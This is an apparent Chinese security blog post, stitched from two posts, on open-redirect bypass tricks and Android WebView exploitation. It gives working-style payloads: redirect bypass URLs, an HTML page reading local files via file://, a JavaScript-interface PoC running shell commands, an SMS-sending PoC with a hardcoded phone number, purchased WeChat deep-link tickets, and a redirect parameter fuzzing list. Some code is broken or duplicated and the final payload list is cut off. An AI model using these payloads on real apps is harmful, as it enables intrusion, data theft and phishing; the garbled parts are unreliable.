URL跳转与webview安全浅谈

2023-05-03,,

URL跳转与webview安全浅谈

我博客的两篇文章拼接在一起所以可能看起来有些乱

起因

在一次测试中我用burpsuite搜索了关键词url找到了某处url
我测试了一下发现waf拦截了指向外域的请求,那么开始尝试绕过。所以有了这次的文章

经过

第一个我测试的url是https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com我打开成功跳转以为跳转成功,but baidu.com是在白名单的所以我就只能想办法去绕过他那么我经过了几次绕过之后发现https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io跳转成功,这是我觉得有必要总结一下url的跳转绕过思路了,那么开始吧!!

正文

@  绕过
这个是利用了我们浏览器的特性,现在除了Firefox浏览器大部分都可以完成这样跳转下面是跳转的动态图
![aite_redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/1.gif"|redirect}})

问号绕过
可以使用Referer的比如https://baidu.com 可以https://任意地址/?baidu.com

锚点 绕过
利用#会被浏览器解释成HTML中的锚点 http://127.0.0.1/#qq.com

xip.io绕过
http://www.baidu.com.127.0.0.1.xip.io/ 这样之后会访问127.0.0.1

How does it work?
xip.io runs a custom DNS server on the public Internet.
When your computer looks up a xip.io domain, the xip.io
DNS server extracts the IP address from the domain and
sends it back in the response.

![xip]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/1.png"|xip}})
在公网上运行自定义的dns服务器,用他的服务器提取IP地址,在响应中将他取回

反斜杠绕过
我这次测试中也是使用了这种思路
https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io

IP绕过

把目标的URL修改成IP地址,这样也有可能绕过waf的拦截

chrome浏览器特性

http:/\/baidu.com
http:\//baidu.com
/\/baidu.com
http:\\\//baidu.com

这样的都会跳转到百度

url跳转到webview安全问题

我们这次的漏洞我在手机上测试的时候发现利用APP url Schema
也就是xxxx://app/webview?url=xxxxxxx
其实这里的任意webview跳转已经构成漏洞了但是我想更加深入一下
看到webview我想到了利用file协议读取用戶的敏感信息那么下面的两篇文章可以补一下基础
使用app内置webview 打开TextView中的超链接

乌云案例
我们先用file://协议读取一下测试文件试一下
![host]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/2.png"|host}})
我们可以看到成功读取了手机的敏感host文件,但不是只要读取成功就能完成利用的,我们还需要设计到发送并读取
这边我又测试了一下JavaScript的情况,发现开启
那么我们在vps上搭建一下利用代码

<html>
<head>
<title>test</title>
</head>
<script>
var xmlHttp;                                //定义XMLHttpRequest对象
function createXmlHttpRequestObject(){
        //如果在internet Explorer下运行
        if(window.ActiveXObject){
                try{
                        xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
                }catch(e){
                        xmlHttp=false;
                }
        }else{
        //如果在Mozilla或其他的浏览器下运行
                try{
                        xmlHttp=new XMLHttpRequest();
                }catch(e){
                        xmlHttp=false;
                }
        }
         //返回创建的对象或显示错误信息
        if(!xmlHttp)
                alert("error");
                else
                return xmlHttp;
}
function ReqHtml(){
        createXmlHttpRequestObject();
        path='file://'
        path1='/system/etc/hosts'
        xmlHttp.onreadystatechange=StatHandler;        //判断URL调用的状态值并处理
        xmlHttp.open("GET",path+path1,false);        //调用test.txt
        xmlHttp.send(null)
        alert(1)
}
function StatHandler(){
        if(xmlHttp.readyState==4 && xmlHttp.status==200){
                document.getElementById("webpage").innerHTML=xmlHttp.responseText;
                alert(xmlHttp.responseText)
        }
}
ReqHtml()
StatHandler()
</script>
<body>
<div id="webpage"></div>
</body>
</html>

在app上测试一下发现不成功。。。。
之后才得知是因为同源策略导致的,在网上各种找方法绕过后无果,没办法之好放弃。
虽然这个应用绕不过我们可以mark一点姿势
ps:很多代码都是手码的没写过JS所以可能会有一些错误不要见怪

<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }          var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
         document.write(getContents(res.getInputStream()));
       </script>
   </body>
</html>

这个是执行命令的poc

<html>
<head>
<title>Test send</title>
<script type="text/javascript">
function execute() {
        var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
        sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/> </body>
</html>
<html>
<head>
<title>Test sendsms</title>
<script type="text/javascript">
function execute() {
        var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
        sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/> </body>
</html>

突然换目标

这是我想到了weixin的协议
weixin://看了官方的文档之后我发现了微信支持如下操作

weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 扫一扫
weixin://dl/feedback 反馈
weixin://dl/moments 朋友圈
weixin://dl/settings 设置
weixin://dl/notifications 消息通知设置
weixin://dl/chat 聊天设置
weixin://dl/general 通用设置
weixin://dl/officialaccounts 公众号
weixin://dl/games 游戏
weixin://dl/help 帮助
weixin://dl/feedback 反馈
weixin://dl/profile 个人信息
weixin://dl/features 功能插件

那。。。我平时打开小xx网站的时候突然弹出的微信是什么鬼
经过一番查找我找到了能够跳转的方法
weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx
那么这个ticket哪里来呢???
我在t00ls上看到一篇同样关于这个微信协议的分析他说是有人在卖api我百度了一下找到了这个地址
![seoniao]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/3.png"|seoniao}})
我们注册并登陆尝试一下跳转
![seoniao]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/4.png"|seoniao}})
果然还是收费,因为写文章的时候比较早他们可能没有上班所以就换个地方找一下
![redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/5.png"|redirect}})
我们加一下这个客服的qq
![screenshot]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/6.png"|screenshot}})
果然是我想象得那样
weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4
我们手机打开一下我得测试网页
<a href="weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4">demo</a>
成功打开微信并跳转~~~~

URL 跳转

这是我博客的两篇文章拼在一起的

写在前面

在技术学习中,用开阔的眼光看待安全问题会有不同的结论出现,我们本次文章所利用的思路源于国外的hackerone以及多个资源分享平台,文末会贴出链接,那么我们开始今天的URL跳转的进阶使用吧        (以后的博客质量会慢慢提升希望各位能多多提出建设性建议我的微信号:baiheming123456)

START

关于挖掘思路我相信各位都已经很熟悉了,寻找常见参数,或者使用谷歌dorking。例如:inurl:redirectUrl=http site:target.com我们在实战中可以利用burpsuite的搜索功能去寻找30X的响应码
![redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/redirect.png"|redirect}})

http的响应码

300--多种选择
301--永久移动
302--发现
307临时重定向
308永久重定向

我们寻找可能跳转的链接这一步就基本上完成了,那么问题来了,绝大部分的网站都是不允许直接跳转的。这样就再一次回到了我们上一篇文章中提到的跳转绕过了URL跳转到Webview安全
我们可以参考上文中的一点点简单的思路。BUT这些思路在实战中远远不够用。所以我们衍生了新的思路
我们假设URL basic版本就是?url=https://c1h2e1.github.io

URL_Redirect PLUS

如果你看过i春秋winway表哥的文章的话我相信对他URL的fuzz扩展思路一定很清楚了吧。我们这里就不放出文档了因为是小密圈的东西
对于这个思路我们就理解为跳转参数的fuzz了
我个人整理了一份乌云案例上的
Parameter Payload下面奉上

success=https://c1h2e1.github.io
next=https://c1h2e1.github.io
data=https://c1h2e1.github.io
url=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
redirect_url=https://c1h2e1.github.io
redirect=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
dest=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
go=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

这53个参数就是我们国内常用的参数了,我们可以通过他大量的进行fuzz寻找可用的参数

URL_Redirect PLUS PULS

经过思考我们可以发现在实战中参数是一个比较重要的因素BUTURL的白名单限制如果做的好的话真的很难绕过,于是我在国外的一个网站上找到了一份URL_Payload的字典,与参数想结合之后完成了大杀器URL_Redirect PLUS PULS(手动滑稽)
我不是不想弄txt的。我主要是想让各位看着更舒服一点虽然有点多,但是并没有很麻烦


<>//Ⓛ

URL跳转与webview安全浅谈的相关教程结束。

《URL跳转与webview安全浅谈.doc》

下载本文的Word格式文档,以方便收藏与打印。